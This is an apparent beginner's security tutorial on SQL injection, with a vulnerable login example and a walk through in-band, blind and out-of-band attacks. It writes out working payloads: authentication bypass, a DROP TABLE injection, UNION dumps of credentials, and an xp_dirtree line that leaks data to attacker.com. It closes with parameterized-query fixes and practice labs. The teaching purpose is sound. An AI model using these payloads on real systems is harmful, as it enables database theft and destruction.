SQL Injection Explained: Talking to Databases You Shouldn't
How SQL injection works, why it's devastating, and how to prevent it. From basic injection to blind SQLi, explained for beginners.
On this page
Ground Up: How Things Break
Part 3 of 4
View all parts
- 1How Web Applications Work (Before You Break Them)
- 2Your First Vulnerability: Understanding XSS
- 3SQL Injection Explained: Talking to Databases You Shouldn't
- 4Authentication Attacks: Passwords, Sessions, and Tokens
XSS targets the browser. SQL injection targets the database. And the database is where the real damage happens - user credentials, financial records, personal data, business secrets. All of it.
SQL injection is one of the oldest web vulnerabilities (discovered in 1998) and it still makes the OWASP Top 10. It’s not going away because developers keep making the same mistake: putting user input directly into database queries.
What Is SQL?
Before SQL injection, you need to understand what SQL is.
SQL (Structured Query Language) is the language used to talk to relational databases. When a web app needs data, it sends a SQL query to the database.
Basic SQL
-- Get all users
SELECT * FROM users;
-- Find a specific user
SELECT * FROM users WHERE username = 'alice';
-- Check login credentials
SELECT * FROM users WHERE username = 'alice' AND password = 'secret123';
-- Insert a new user
INSERT INTO users (username, password, email) VALUES ('bob', 'pass456', 'bob@email.com');
-- Delete a user
DELETE FROM users WHERE username = 'bob';
-- Drop (delete) an entire table
DROP TABLE users;
The key commands:
SELECT- read dataINSERT- add dataUPDATE- change dataDELETE- remove rowsDROP- destroy tables
DROP TABLE deletes the entire table and all its data. Permanently. Remember that.
How SQL Injection Works
Here’s the pattern. A web app has a login form. The server takes the username and password and builds a SQL query:
# Server-side code (vulnerable!)
username = request.form['username']
password = request.form['password']
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
Normal login with username alice and password secret123:
SELECT * FROM users WHERE username = 'alice' AND password = 'secret123'
This works fine. The database looks for a user with that exact username and password.
The Attack
Now instead of a real username, the attacker types:
' OR '1'='1
The query becomes:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = ''
Since '1'='1' is always true, this returns all users in the database. The attacker bypasses authentication entirely.
Let’s break down why:
- The
'closes the username string that the app opened OR '1'='1'adds a condition that’s always true- The query logic changes from “find this specific user” to “find any user”
Even Worse
What if the attacker enters this as the username:
'; DROP TABLE users; --
The query becomes:
SELECT * FROM users WHERE username = ''; DROP TABLE users; --' AND password = ''
Three things happen:
SELECT * FROM users WHERE username = ''- runs first (finds nothing)DROP TABLE users- deletes the entire users table--- SQL comment, ignores the rest of the original query
The user database is gone. Every account, deleted. That’s SQL injection.
Types of SQL Injection
Classic (In-Band) SQLi
The attacker can see the results directly in the web page response. This is the simplest type.
Union-based: Uses UNION SELECT to combine results from another query:
' UNION SELECT username, password FROM users --
This appends the contents of the users table to whatever the original query was displaying. Usernames and passwords appear directly on the page.
Error-based: Intentionally causes database errors that leak information:
' AND 1=CONVERT(int, (SELECT TOP 1 username FROM users)) --
The error message might read: “Conversion failed when converting the varchar value ‘admin’ to data type int.” The username “admin” leaked through the error.
Blind SQL Injection
The app doesn’t show query results or errors on the page. The attacker can’t see the data directly, but can still extract it by asking true/false questions.
Boolean-based blind:
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a' --
If the page loads normally, the first character of the first username is ‘a’. If it shows an error or different response, it’s not ‘a’. The attacker tries each character, one at a time.
First character: a? → Yes (normal page)
Second character: a? → No (different page)
Second character: b? → No
Second character: c? → No
Second character: d? → Yes (normal page)
Username so far: "ad..."
Slow, but it works. Automated tools make this practical.
Time-based blind:
When even the page response doesn’t change, the attacker measures response time:
' AND IF(SUBSTRING(username,1,1)='a', SLEEP(5), 0) --
If the first character is ‘a’, the server waits 5 seconds before responding. If not, it responds immediately. The attacker times the response to extract data one character at a time.
Out-of-Band SQLi
The attacker uses database features to send data to an external server they control. Rare, but useful when in-band and blind methods don’t work.
-- SQL Server: Send data via DNS
'; EXEC xp_dirtree '\\attacker.com\' + (SELECT TOP 1 username FROM users) --
The database makes a DNS request to admin.attacker.com, leaking the username through DNS.
The Impact
SQL injection isn’t just about reading data. Depending on the database configuration, an attacker can:
| Action | SQL | Impact |
|---|---|---|
| Read all data | UNION SELECT | Full database dump - users, credentials, secrets |
| Modify data | UPDATE users SET role='admin' | Elevate privileges |
| Delete data | DROP TABLE, DELETE | Destroy the database |
| Read files | LOAD_FILE('/etc/passwd') | Read server files (MySQL) |
| Write files | INTO OUTFILE | Write a web shell to the server |
| Execute commands | xp_cmdshell | Run OS commands (SQL Server) |
In the worst case, SQL injection gives the attacker complete control of the database and the underlying server.
Finding SQL Injection
Where to Look
Any input that might end up in a database query:
- Login forms (username and password fields)
- Search boxes
- URL parameters (
?id=1,?category=shoes) - Filter and sort parameters
- Profile update forms
- Hidden form fields
- HTTP headers (sometimes User-Agent, Referer)
- Cookies (if their values are used in queries)
Basic Testing
Try these in input fields and URL parameters:
' ← Single quote (causes SQL syntax error if vulnerable)
' OR '1'='1 ← Always-true condition
' OR '1'='1' -- ← With comment to clean up the rest
' UNION SELECT NULL -- ← Test for UNION injection
1 AND 1=1 ← Boolean test (numeric input)
1 AND 1=2 ← Boolean test (should change behavior)
What to watch for:
- Database error messages (immediate confirmation)
- Different page behavior between
1 AND 1=1(true) and1 AND 1=2(false) - Changes in displayed data
- Response time differences (time-based blind)
Recognizing Database Errors
| Database | Error Looks Like |
|---|---|
| MySQL | You have an error in your SQL syntax... |
| PostgreSQL | ERROR: syntax error at or near... |
| SQL Server | Unclosed quotation mark after the character string... |
| Oracle | ORA-01756: quoted string not properly terminated |
| SQLite | SQLITE_ERROR: near "...": syntax error |
If you see any of these after adding a ' to your input, the app is very likely vulnerable.
Prevention
Parameterized Queries (Prepared Statements)
This is the fix. Instead of building queries from strings, use parameters:
Vulnerable (string concatenation):
# DON'T DO THIS
query = f"SELECT * FROM users WHERE username = '{username}'"
Safe (parameterized):
# DO THIS
query = "SELECT * FROM users WHERE username = %s"
cursor.execute(query, (username,))
With parameterized queries, the database treats the input as data, never as code. Even if someone enters ' OR '1'='1, the database looks for a user literally named ' OR '1'='1 instead of executing it as SQL.
Examples in Different Languages
Python (psycopg2/MySQL Connector):
cursor.execute("SELECT * FROM users WHERE username = %s", (username,))
PHP (PDO):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);
Node.js (mysql2):
connection.execute("SELECT * FROM users WHERE username = ?", [username]);
Java (JDBC):
PreparedStatement stmt = conn.prepareStatement("SELECT * FROM users WHERE username = ?");
stmt.setString(1, username);
Every modern language has parameterized query support. There is no excuse for string concatenation in SQL queries.
ORM (Object-Relational Mapping)
Frameworks like Django, Rails, and Sequelize abstract away SQL entirely:
# Django ORM - safe by default
user = User.objects.get(username=username)
ORMs generate parameterized queries under the hood. They’re safe as long as you don’t drop down to raw SQL with string concatenation.
Additional Defenses
| Defense | Purpose |
|---|---|
| Input validation | Reject obviously wrong input (letters in a number field) |
| Least privilege | Database user should only have permissions it needs |
| Error handling | Never show database errors to users |
| WAF rules | Web Application Firewall can block common SQLi patterns |
But parameterized queries are the real fix. Everything else is supplementary.
Practice Safely
- PortSwigger Web Security Academy - Free SQL injection labs: portswigger.net/web-security/sql-injection
- SQLi-labs - Dedicated SQLi practice environments
- DVWA - SQL injection challenges at multiple difficulty levels
- OWASP Juice Shop - Modern vulnerable app with SQLi challenges
- HackTheBox - Web challenges featuring SQLi
What’s Next
XSS targets the browser. SQL injection targets the database. In the next post, we’ll target the login system itself - passwords, session management, tokens, and the many ways authentication breaks. This is where we tie together everything from this module.
References
- OWASP - SQL Injection
- PortSwigger - SQL Injection
- Bobby Tables - Parameterized query examples for every language
SQL injection is older than most security professionals. It was first documented in 1998. It’s 2026 and we’re still finding it. The fix has been known for over 20 years. Use parameterized queries.
Related Articles
Authentication Attacks: Passwords, Sessions, and Tokens
How login systems break - brute force, credential stuffing, session hijacking, token flaws, and MFA bypass. The complete beginner's guide to auth attacks.
How Web Applications Work (Before You Break Them)
Client-server architecture, request flow, cookies, sessions, and APIs. You need to understand the machine before you can find the cracks.
Your First Vulnerability: Understanding XSS
Cross-Site Scripting explained from scratch - what it is, the three types, how attackers exploit it, and how to prevent it. With safe practice labs.